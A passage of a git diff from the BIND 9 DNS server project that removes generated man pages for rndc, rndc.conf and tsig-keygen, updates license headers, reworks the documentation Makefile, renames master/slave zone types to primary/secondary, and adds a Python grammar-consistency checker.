-\fBnamed\fP in each view. The list includes both statically configured keys and
-dynamic TKEY\-negotiated keys.
-.TP
-\fBvalidation\fP (\fBon\fP | \fBoff\fP | \fBstatus\fP) [\fIview\fP ...]\(ga\(ga
-This command enables, disables, or checks the current status of DNSSEC validation. By
-default, validation is enabled.
-.sp
-The cache is flushed when validation is turned on or off to avoid using data
-that might differ between states.
-.TP
-.B \fBzonestatus\fP \fIzone\fP [\fIclass\fP [\fIview\fP]]
-This command displays the current status of the given zone, including the master
-file name and any include files from which it was loaded, when it was
-most recently loaded, the current serial number, the number of nodes,
-whether the zone supports dynamic updates, whether the zone is DNSSEC
-signed, whether it uses automatic DNSSEC key management or inline
-signing, and the scheduled refresh or expiry times for the zone.
-.sp
-See also \fBrndc showzone\fP\&.
-.UNINDENT
-.sp
-\fBrndc\fP commands that specify zone names, such as \fBreload\fP,
-\fBretransfer\fP, or \fBzonestatus\fP, can be ambiguous when applied to zones
-of type \fBredirect\fP\&. Redirect zones are always called \fB\&.\fP, and can be
-confused with zones of type \fBhint\fP or with secondary copies of the root
-zone. To specify a redirect zone, use the special zone name
-\fB\-redirect\fP, without a trailing period. (With a trailing period, this
-would specify a zone called "\-redirect".)
-.SH LIMITATIONS
-.sp
-There is currently no way to provide the shared secret for a \fBkey_id\fP
-without using the configuration file.
-.sp
-Several error messages could be clearer.
-.SH SEE ALSO
-.sp
-\fBrndc.conf(5)\fP, \fBrndc\-confgen(8)\fP,
-\fBnamed(8)\fP, \fBnamed.conf(5)\fP, \fBndc(8)\fP, BIND 9 Administrator
-Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/rndc.conf.5in b/doc/man/rndc.conf.5in
deleted file mode 100644
index 515d1928bd..0000000000
--- a/doc/man/rndc.conf.5in
+++ /dev/null
@@ -1,196 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "RNDC.CONF" "5" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-rndc.conf \- rndc configuration file
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBrndc.conf\fP
-.SH DESCRIPTION
-.sp
-\fBrndc.conf\fP is the configuration file for \fBrndc\fP, the BIND 9 name
-server control utility. This file has a similar structure and syntax to
-\fBnamed.conf\fP\&. Statements are enclosed in braces and terminated with a
-semi\-colon. Clauses in the statements are also semi\-colon terminated.
-The usual comment styles are supported:
-.sp
-C style: /* */
-.sp
-C++ style: // to end of line
-.sp
-Unix style: # to end of line
-.sp
-\fBrndc.conf\fP is much simpler than \fBnamed.conf\fP\&. The file uses three
-statements: an options statement, a server statement, and a key
-statement.
-.sp
-The \fBoptions\fP statement contains five clauses. The \fBdefault\-server\fP
-clause is followed by the name or address of a name server. This host
-is used when no name server is given as an argument to \fBrndc\fP\&.
-The \fBdefault\-key\fP clause is followed by the name of a key, which is
-identified by a \fBkey\fP statement. If no \fBkeyid\fP is provided on the
-rndc command line, and no \fBkey\fP clause is found in a matching
-\fBserver\fP statement, this default key is used to authenticate the
-server\(aqs commands and responses. The \fBdefault\-port\fP clause is followed
-by the port to connect to on the remote name server. If no \fBport\fP
-option is provided on the rndc command line, and no \fBport\fP clause is
-found in a matching \fBserver\fP statement, this default port is used
-to connect. The \fBdefault\-source\-address\fP and
-\fBdefault\-source\-address\-v6\fP clauses can be used to set the IPv4
-and IPv6 source addresses respectively.
-.sp
-After the \fBserver\fP keyword, the server statement includes a string
-which is the hostname or address for a name server. The statement has
-three possible clauses: \fBkey\fP, \fBport\fP, and \fBaddresses\fP\&. The key
-name must match the name of a key statement in the file. The port number
-specifies the port to connect to. If an \fBaddresses\fP clause is supplied,
-these addresses are used instead of the server name. Each address
-can take an optional port. If an \fBsource\-address\fP or
-\fBsource\-address\-v6\fP is supplied, it is used to specify the
-IPv4 and IPv6 source address, respectively.
-.sp
-The \fBkey\fP statement begins with an identifying string, the name of the
-key. The statement has two clauses. \fBalgorithm\fP identifies the
-authentication algorithm for \fBrndc\fP to use; currently only HMAC\-MD5
-(for compatibility), HMAC\-SHA1, HMAC\-SHA224, HMAC\-SHA256 (default),
-HMAC\-SHA384, and HMAC\-SHA512 are supported. This is followed by a secret
-clause which contains the base\-64 encoding of the algorithm\(aqs
-authentication key. The base\-64 string is enclosed in double quotes.
-.sp
-There are two common ways to generate the base\-64 string for the secret.
-The BIND 9 program \fBrndc\-confgen\fP can be used to generate a random
-key, or the \fBmmencode\fP program, also known as \fBmimencode\fP, can be
-used to generate a base\-64 string from known input. \fBmmencode\fP does
-not ship with BIND 9 but is available on many systems. See the Example
-section for sample command lines for each.
-.SH EXAMPLE
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-options {
-  default\-server  localhost;
-  default\-key     samplekey;
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-server localhost {
-  key             samplekey;
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-server testserver {
-  key     testkey;
-  addresses   { localhost port 5353; };
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-key samplekey {
-  algorithm       hmac\-sha256;
-  secret          "6FMfj43Osz4lyb24OIe2iGEz9lf1llJO+lz";
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.INDENT 0.0
-.INDENT 3.5
-.sp
-.nf
-.ft C
-key testkey {
-  algorithm   hmac\-sha256;
-  secret      "R3HI8P6BKw9ZwXwN3VZKuQ==";
-};
-.ft P
-.fi
-.UNINDENT
-.UNINDENT
-.sp
-In the above example, \fBrndc\fP by default uses the server at
-localhost (127.0.0.1) and the key called "samplekey". Commands to the
-localhost server use the "samplekey" key, which must also be defined
-in the server\(aqs configuration file with the same name and secret. The
-key statement indicates that "samplekey" uses the HMAC\-SHA256 algorithm
-and its secret clause contains the base\-64 encoding of the HMAC\-SHA256
-secret enclosed in double quotes.
-.sp
-If \fBrndc \-s testserver\fP is used, then \fBrndc\fP connects to the server
-on localhost port 5353 using the key "testkey".
-.sp
-To generate a random secret with \fBrndc\-confgen\fP:
-.sp
-\fBrndc\-confgen\fP
-.sp
-A complete \fBrndc.conf\fP file, including the randomly generated key,
-is written to the standard output. Commented\-out \fBkey\fP and
-\fBcontrols\fP statements for \fBnamed.conf\fP are also printed.
-.sp
-To generate a base\-64 secret with \fBmmencode\fP:
-.sp
-\fBecho "known plaintext for a secret" | mmencode\fP
-.SH NAME SERVER CONFIGURATION
-.sp
-The name server must be configured to accept rndc connections and to
-recognize the key specified in the \fBrndc.conf\fP file, using the
-controls statement in \fBnamed.conf\fP\&. See the sections on the
-\fBcontrols\fP statement in the BIND 9 Administrator Reference Manual for
-details.
-.SH SEE ALSO
-.sp
-\fBrndc(8)\fP, \fBrndc\-confgen(8)\fP, \fBmmencode(1)\fP, BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/rndc.conf.rst b/doc/man/rndc.conf.rst
index f5edeafa70..f575060684 100644
--- a/doc/man/rndc.conf.rst
+++ b/doc/man/rndc.conf.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
diff --git a/doc/man/rndc.rst b/doc/man/rndc.rst
index 86ea410b03..a330531272 100644
--- a/doc/man/rndc.rst
+++ b/doc/man/rndc.rst
@@ -1,13 +1,14 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
-.. include:: ../../bin/rndc/rndc.rst
\ No newline at end of file
+.. include:: ../../bin/rndc/rndc.rst
diff --git a/doc/man/tsig-keygen.8in b/doc/man/tsig-keygen.8in
deleted file mode 100644
index 7ec840c2db..0000000000
--- a/doc/man/tsig-keygen.8in
+++ /dev/null
@@ -1,109 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "TSIG-KEYGEN" "8" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-tsig-keygen \- TSIG key generation tool
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBtsig\-keygen\fP [\fB\-a\fP algorithm] [\fB\-h\fP] [\fB\-r\fP randomfile] [name]
-.sp
-\fBddns\-confgen\fP [\fB\-a\fP algorithm] [\fB\-h\fP] [\fB\-k\fP keyname] [\fB\-q\fP] [\fB\-r\fP randomfile] [\fB\-s\fP name] [\fB\-z\fP zone]
-.SH DESCRIPTION
-.sp
-\fBtsig\-keygen\fP and \fBddns\-confgen\fP are invocation methods for a
-utility that generates keys for use in TSIG signing. The resulting keys
-can be used, for example, to secure dynamic DNS updates to a zone, or for
-the \fBrndc\fP command channel.
-.sp
-When run as \fBtsig\-keygen\fP, a domain name can be specified on the
-command line to be used as the name of the generated key. If no
-name is specified, the default is \fBtsig\-key\fP\&.
-.sp
-When run as \fBddns\-confgen\fP, the key name can specified using \fB\-k\fP
-parameter and defaults to \fBddns\-key\fP\&. The generated key is accompanied
-by configuration text and instructions that can be used with \fBnsupdate\fP
-and \fBnamed\fP when setting up dynamic DNS, including an example
-\fBupdate\-policy\fP statement. (This usage is similar to the \fBrndc\-confgen\fP
-command for setting up command\-channel security.)
-.sp
-Note that \fBnamed\fP itself can configure a local DDNS key for use with
-\fBnsupdate \-l\fP; it does this when a zone is configured with
-\fBupdate\-policy local;\fP\&. \fBddns\-confgen\fP is only needed when a more
-elaborate configuration is required: for instance, if \fBnsupdate\fP is to
-be used from a remote system.
-.SH OPTIONS
-.INDENT 0.0
-.TP
-.B \fB\-a algorithm\fP
-This option specifies the algorithm to use for the TSIG key. Available
-choices are: hmac\-md5, hmac\-sha1, hmac\-sha224, hmac\-sha256, hmac\-sha384,
-and hmac\-sha512. The default is hmac\-sha256. Options are
-case\-insensitive, and the "hmac\-" prefix may be omitted.
-.TP
-.B \fB\-h\fP
-This option prints a short summary of options and arguments.
-.TP
-.B \fB\-k keyname\fP
-This option specifies the key name of the DDNS authentication key. The
-default is \fBddns\-key\fP when neither the \fB\-s\fP nor \fB\-z\fP option is
-specified; otherwise, the default is \fBddns\-key\fP as a separate label
-followed by the argument of the option, e.g., \fBddns\-key.example.com.\fP
-The key name must have the format of a valid domain name, consisting of
-letters, digits, hyphens, and periods.
-.TP
-.B \fB\-q\fP (\fBddns\-confgen\fP only)
-This option enables quiet mode, which prints only the key, with no
-explanatory text or usage examples. This is essentially identical to
-\fBtsig\-keygen\fP\&.
-.TP
-.B \fB\-s name\fP (\fBddns\-confgen\fP only)
-This option generates a configuration example to allow dynamic updates
-of a single hostname. The example \fBnamed.conf\fP text shows how to set
-an update policy for the specified name using the "name" nametype. The
-default key name is \fBddns\-key.name\fP\&. Note that the "self" nametype
-cannot be used, since the name to be updated may differ from the key
-name. This option cannot be used with the \fB\-z\fP option.
-.TP
-.B \fB\-z zone\fP (\fBddns\-confgen\fP only)
-This option generates a configuration example to allow
-dynamic updates of a zone. The example \fBnamed.conf\fP text shows how
-to set an update policy for the specified zone using the "zonesub"
-nametype, allowing updates to all subdomain names within that zone.
-This option cannot be used with the \fB\-s\fP option.
-.UNINDENT
-.SH SEE ALSO
-.sp
-\fBnsupdate(1)\fP, \fBnamed.conf(5)\fP, \fBnamed(8)\fP, BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/tsig-keygen.rst b/doc/man/tsig-keygen.rst
index 21cb1ddbac..fbd957d314 100644
--- a/doc/man/tsig-keygen.rst
+++ b/doc/man/tsig-keygen.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
diff --git a/doc/misc/Makefile.am b/doc/misc/Makefile.am
index e78e108171..898aa8f08b 100644
--- a/doc/misc/Makefile.am
+++ b/doc/misc/Makefile.am
@@ -2,50 +2,22 @@ include $(top_srcdir)/Makefile.top
 include $(top_srcdir)/Makefile.docs
 
 OPTIONS_FILES =				\
+	rndc.grammar			\
 	options				\
-	options.active			\
-	master.zoneopt			\
-	slave.zoneopt			\
+	primary.zoneopt			\
+	secondary.zoneopt			\
 	mirror.zoneopt			\
 	forward.zoneopt			\
 	hint.zoneopt			\
 	stub.zoneopt			\
 	static-stub.zoneopt		\
 	redirect.zoneopt		\
-	delegation-only.zoneopt		\
-	in-view.zoneopt			\
-	../../bin/named/named.conf.rst	\
-	master.zoneopt.rst		\
-	slave.zoneopt.rst		\
-	mirror.zoneopt.rst		\
-	forward.zoneopt.rst		\
-	hint.zoneopt.rst		\
-	stub.zoneopt.rst		\
-	static-stub.zoneopt.rst		\
-	redirect.zoneopt.rst		\
-	delegation-only.zoneopt.rst	\
-	in-view.zoneopt.rst		\
-	acl.grammar.rst			\
-	controls.grammar.rst		\
-	dnssec-policy.grammar.rst	\
-	key.grammar.rst			\
-	logging.grammar.rst		\
-	primaries.grammar.rst		\
-	options.grammar.rst		\
-	server.grammar.rst		\
-	statistics-channels.grammar.rst	\
-	tls.grammar.rst			\
-	trust-anchors.grammar.rst	\
-	managed-keys.grammar.rst	\
-	trusted-keys.grammar.rst	\
-	http.grammar.rst
+	in-view.zoneopt
 
 EXTRA_DIST =			\
 	$(OPTIONS_FILES)	\
-	format-options.pl	\
-	rst-grammars.pl		\
-	rst-options.pl		\
-	rst-zoneopt.pl		\
+	checkgrammar.py		\
+	parsegrammar.py		\
 	sort-options.pl
 
 if MAINTAINER_MODE
@@ -54,8 +26,8 @@ MAINTAINERCLEANFILES = $(OPTIONS_FILES)
 
 noinst_PROGRAMS = cfg_test
 
-cfg_test_CFLAGS =			\
-	$(AM_CFLAGS)			\
+cfg_test_CPPFLAGS =			\
+	$(AM_CPPFLAGS)			\
 	$(LIBISC_CFLAGS)		\
 	$(LIBDNS_CFLAGS)		\
 	$(LIBISCCFG_CFLAGS)
@@ -65,118 +37,40 @@ cfg_test_LDADD =			\
 	$(LIBDNS_LIBS)			\
 	$(LIBISCCFG_LIBS)
 
-BUILT_SOURCES =				\
+BUILT_SOURCES +=				\
 	$(OPTIONS_FILES)
 
-options: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --named --grammar | $(PERL) $(srcdir)/sort-options.pl | $(PERL) $(srcdir)/format-options.pl --strip-not-configured > $@
+rndc.grammar: cfg_test
+	$(AM_V_CFG_TEST)$(builddir)/cfg_test --rndc --grammar | $(PERL) $(srcdir)/sort-options.pl > $@
 
-options.active: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --named --grammar --active | $(PERL) $(srcdir)/sort-options.pl | $(PERL) $(srcdir)/format-options.pl --strip-not-configured > $@
+options: cfg_test
+	$(AM_V_CFG_TEST)$(builddir)/cfg_test --named --grammar | $(PERL) $(srcdir)/sort-options.pl > $@
 
-master.zoneopt: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar master --active > $@
+primary.zoneopt: cfg_test
+	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar primary > $@
 
-slave.zoneopt: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar slave --active > $@
+secondary.zoneopt: cfg_test
+	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar secondary > $@
 
 mirror.zoneopt: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar mirror --active > $@
+	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar mirror > $@
 
 forward.zoneopt: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar forward --active > $@
+	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar forward > $@
 
 hint.zoneopt: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar hint --active > $@
+	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar hint > $@
 
 stub.zoneopt: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar stub --active > $@
+	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar stub > $@
 
 static-stub.zoneopt: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar static-stub --active > $@
+	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar static-stub > $@
 
 redirect.zoneopt: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar redirect --active > $@
-
-delegation-only.zoneopt: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar delegation-only --active > $@
+	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar redirect > $@
 
 in-view.zoneopt: cfg_test
-	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar in-view --active > $@
-
-../../bin/named/named.conf.rst: options.active
-	$(AM_V_RST_OPTIONS)$(PERL) $(srcdir)/rst-options.pl options.active > $@
-
-master.zoneopt.rst: master.zoneopt
-	$(AM_V_RST_ZONEOPT)$(PERL) $(srcdir)/rst-zoneopt.pl master.zoneopt > $@
-
-slave.zoneopt.rst: slave.zoneopt
-	$(AM_V_RST_ZONEOPT)$(PERL) $(srcdir)/rst-zoneopt.pl slave.zoneopt > $@
-
-mirror.zoneopt.rst: mirror.zoneopt
-	$(AM_V_RST_ZONEOPT)$(PERL) $(srcdir)/rst-zoneopt.pl mirror.zoneopt > $@
-
-forward.zoneopt.rst: forward.zoneopt
-	$(AM_V_RST_ZONEOPT)$(PERL) $(srcdir)/rst-zoneopt.pl forward.zoneopt > $@
-
-hint.zoneopt.rst: hint.zoneopt
-	$(AM_V_RST_ZONEOPT)$(PERL) $(srcdir)/rst-zoneopt.pl hint.zoneopt > $@
-
-stub.zoneopt.rst: stub.zoneopt
-	$(AM_V_RST_ZONEOPT)$(PERL) $(srcdir)/rst-zoneopt.pl stub.zoneopt > $@
-
-static-stub.zoneopt.rst: static-stub.zoneopt
-	$(AM_V_RST_ZONEOPT)$(PERL) $(srcdir)/rst-zoneopt.pl static-stub.zoneopt > $@
-
-redirect.zoneopt.rst: redirect.zoneopt
-	$(AM_V_RST_ZONEOPT)$(PERL) $(srcdir)/rst-zoneopt.pl redirect.zoneopt > $@
-
-delegation-only.zoneopt.rst: delegation-only.zoneopt
-	$(AM_V_RST_ZONEOPT)$(PERL) $(srcdir)/rst-zoneopt.pl delegation-only.zoneopt > $@
-
-in-view.zoneopt.rst: in-view.zoneopt
-	$(AM_V_RST_ZONEOPT)$(PERL) $(srcdir)/rst-zoneopt.pl in-view.zoneopt > $@
-
-acl.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active acl > $@
-
-controls.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active controls > $@
-
-dnssec-policy.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active dnssec-policy > $@
-
-key.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active key > $@
-
-logging.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active logging > $@
-
-primaries.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active primaries > $@
-
-options.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active options > $@
-
-server.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active server > $@
-
-statistics-channels.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active statistics-channels > $@
-
-tls.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active tls > $@
-
-trust-anchors.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active trust-anchors > $@
-
-managed-keys.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active managed-keys > $@
-
-trusted-keys.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active trusted-keys > $@
-
-http.grammar.rst: options.active
-	$(AM_V_RST_GRAMMARS)$(PERL) $(srcdir)/rst-grammars.pl options.active http > $@
+	$(AM_V_CFG_TEST)$(builddir)/cfg_test --zonegrammar in-view > $@
 
 endif
diff --git a/doc/misc/acl.grammar.rst b/doc/misc/acl.grammar.rst
deleted file mode 100644
index 189cc301b6..0000000000
--- a/doc/misc/acl.grammar.rst
+++ /dev/null
@@ -1,3 +0,0 @@
-::
-
-  acl <string> { <address_match_element>; ... };
diff --git a/doc/misc/cfg_test.c b/doc/misc/cfg_test.c
index 5d5a60c395..439c9cf1d5 100644
--- a/doc/misc/cfg_test.c
+++ b/doc/misc/cfg_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -16,7 +18,6 @@
 #include <stdlib.h>
 
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
@@ -108,11 +109,13 @@ main(int argc, char **argv) {
 				usage();
 			}
 			if (strcmp(argv[1], "master") == 0 ||
-			    strcmp(argv[1], "primary") == 0) {
-				zonetype = CFG_ZONE_MASTER;
+			    strcmp(argv[1], "primary") == 0)
+			{
+				zonetype = CFG_ZONE_PRIMARY;
 			} else if (strcmp(argv[1], "slave") == 0 ||
-				   strcmp(argv[1], "seconary") == 0) {
-				zonetype = CFG_ZONE_SLAVE;
+				   strcmp(argv[1], "secondary") == 0)
+			{
+				zonetype = CFG_ZONE_SECONDARY;
 			} else if (strcmp(argv[1], "mirror") == 0) {
 				zonetype = CFG_ZONE_MIRROR;
 			} else if (strcmp(argv[1], "stub") == 0) {
@@ -125,8 +128,6 @@ main(int argc, char **argv) {
 				zonetype = CFG_ZONE_FORWARD;
 			} else if (strcmp(argv[1], "redirect") == 0) {
 				zonetype = CFG_ZONE_REDIRECT;
-			} else if (strcmp(argv[1], "delegation-only") == 0) {
-				zonetype = CFG_ZONE_DELEGATION;
 			} else if (strcmp(argv[1], "in-view") == 0) {
 				zonetype = CFG_ZONE_INVIEW;
 			} else {
diff --git a/doc/misc/checkgrammar.py b/doc/misc/checkgrammar.py
new file mode 100644
index 0000000000..09984eceb4
--- /dev/null
+++ b/doc/misc/checkgrammar.py
@@ -0,0 +1,167 @@
+############################################################################
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0. If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+############################################################################
+
+"""
+Utility to check ISC config grammar consistency. It detects statement names
+which use different grammar depending on position in the configuration file.
+E.g. "max-zone-ttl" in dnssec-policy uses '<duration>'
+vs. '( unlimited | <duration> ) used in options.
+"""
+
+from collections import namedtuple
+from itertools import groupby
+import fileinput
+
+import parsegrammar
+
+
+def statement2block(grammar, path):
+    """Return mapping statement name to "path" where it is allowed.
+    _top is placeholder name for the namesless topmost context.
+
+    E.g. {
+        'options: [('_top',)],
+        'server': [('_top', 'view'), ('_top',)],
+        'rate-limit': [('_top', 'options'), ('_top', 'view')],
+        'slip': [('_top', 'options', 'rate-limit'), ('_top', 'view', 'rate-limit')]
+    }
+    """
+    key2place = {}
+
+    for key in grammar:
+        assert not key.startswith("_")
+        key2place.setdefault(key, []).append(tuple(path))
+        if "_mapbody" in grammar[key]:
+            nested2block = statement2block(grammar[key]["_mapbody"], path + [key])
+            # merge to uppermost output dictionary
+            for nested_key, nested_path in nested2block.items():
+                key2place.setdefault(nested_key, []).extend(nested_path)
+    return key2place
+
+
+def get_statement_grammar(grammar, path, name):
+    """Descend into grammar dict using provided path
+    and return final dict found there.
+
+    Intermediate steps into "_mapbody" subkeys are done automatically.
+    """
+    assert path[0] == "_top"
+    path = list(path) + [name]
+    for step in path[1:]:
+        if "_mapbody" in grammar:
+            grammar = grammar["_mapbody"]
+        grammar = grammar[step]
+    return grammar
+
+
+Statement = namedtuple("Statement", ["path", "name", "subgrammar"])
+
+
+def groupby_grammar(statements):
+    """
+    Return groups of Statement tuples with identical grammars and flags.
+    See itertools.groupby.
+    """
+
+    def keyfunc(statement):
+        return sorted(statement.subgrammar.items())
+
+    groups = []
+    statements = sorted(statements, key=keyfunc)
+    for _key, group in groupby(statements, keyfunc):
+        groups.append(list(group))  # Store group iterator as a list
+    return groups
+
+
+def diff_statements(whole_grammar, places):
+    """
+    Return map {statement name: [groups of [Statement]s with identical grammar].
+    """
+    out = {}
+    for statement_name, paths in places.items():
+        grammars = []
+        for path in paths:
+            statement_grammar = get_statement_grammar(
+                whole_grammar, path, statement_name
+            )
+            grammars.append(Statement(path, statement_name, statement_grammar))
+        groups = groupby_grammar(grammars)
+        out[statement_name] = groups
+    return out
+
+
+def pformat_grammar(node, level=1):
+    """Pretty print a given grammar node in the same way as cfg_test would"""
+
+    def sortkey(item):
+        """Treat 'type' specially and always put it first, for zone types"""
+        key, _ = item
+        if key == "type":
+            return ""
+        return key
+
+    if "_grammar" in node:  # no nesting
+        assert "_id" not in node
+        assert "_mapbody" not in node
